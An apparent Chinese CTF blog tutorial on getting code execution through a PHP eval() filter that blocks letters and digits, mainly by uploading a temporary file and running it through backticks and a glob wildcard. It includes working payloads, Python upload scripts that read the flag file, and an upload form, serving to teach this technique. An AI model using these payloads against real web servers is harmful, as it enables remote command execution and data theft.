前言
元旦快乐 -- 转眼就到了2023年 新的一年继续努力
在p神博客中看到一个 通过上传临时文件进行rce,便想着写一篇文章,记录一下这个小trick。太强了
比如给你下面这么一串代码。正如文章标题 无字母数字,如果匹配到字母和数字,就会输出nonono并终止程序,执行不到eval($code); 那我们怎么执行 phpinfo(); system('cat /flag'); 等命令呢
<?php
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/is',$code)){
die('nonono');
}
eval($code);
有下面五种方法:
- 取反绕过
- 或
- 异或
- 自增运算
- 上传临时文件
前四个都有专门的生成脚本,而且在CTF里应该是考烂了
可以参看yu师傅:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本
这里我们主要说一下上传临时文件的原理和利用方法
<1> 上传临时文件进行rce原理
PHP7 前是不允许用($a)();
这样的方法来执行动态函数的。但是php7 不能用assert()来执行函数,因为php7不支持assert()函数
大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能
PHP中允许用 反引号来执行shell。
因为反引号不属于“字母”、“数字”,所以我们可以绕过限制,执行系统命令
同时,Linux下 shell还有两个知识点:
- shell下可以利用
.
来执行任意脚本 - Linux文件名支持用glob通配符代替
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。用
. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是
/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母
利用通配符 则/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
但是能够匹配上/???/?????????
这个通配符的文件有很多,怎么让它执行我们上传在临时文件夹里的shell呢
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么就好办了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
在ascii码表里,大写字母位于@
与[
之间
因此,我们可以利用[@-[]
来表示大写字母
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
我们传入的code为?><?=`. /???/????????[@-[]`;?> post内容为命令即可。
<2> 案例一
这里我们看下面这段代码:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
这道题限制了:
- webshell长度不超过35位
- 除了不包含字母数字,还不能包含
$
和_
现在$被过滤了,我们无法通过构造变量来动态执行函数,还有什么办法吗?
首先一种方法:
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,可以通过取反、异或、或构造一个可以生成phpinfo
这个字符串的PHP表达式即可
(~%8F%97%8F%96%91%99%90)();
另一种 就是我们的上传临时文件
import requests
url="http://ip:port/index.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
res = requests.post(url=url,files=files).text
print(res)
<3> 案例二
<?php
highlight_file(__FILE__);
if(isset($_GET['code']))
{
if(strlen($_GET['code'])>25 || preg_match("/[\w$=()<>'\"]/",$_GET['code']) )
{
die("danger!!!!!");
}
@eval($_GET['code']);
}
脚本跑一下未过滤的字符(在下面),可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和 . 还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本
因此利用post上传临时文件绕过
上传表单:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://ip:*****/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>
也可以用python requests库发包,上传文件
import requests
url="http://ip:port/test.php?code=`. /???/????????[@-[]`;"
files={'file':'cat f* > a.txt'}
res = requests.post(url=url,files=files).text
print(res)
由于过滤了 = 因此我们不能 <?= 得到回显。 需要 > 外带命令执行结果
<4> 查看未被过滤的字符的脚本
<?php
for ($ascii = 0; $ascii < 256; $ascii++)
if (!preg_match("/[\w$=()<>'\"]/", chr($ascii)))
echo (chr($ascii));
?>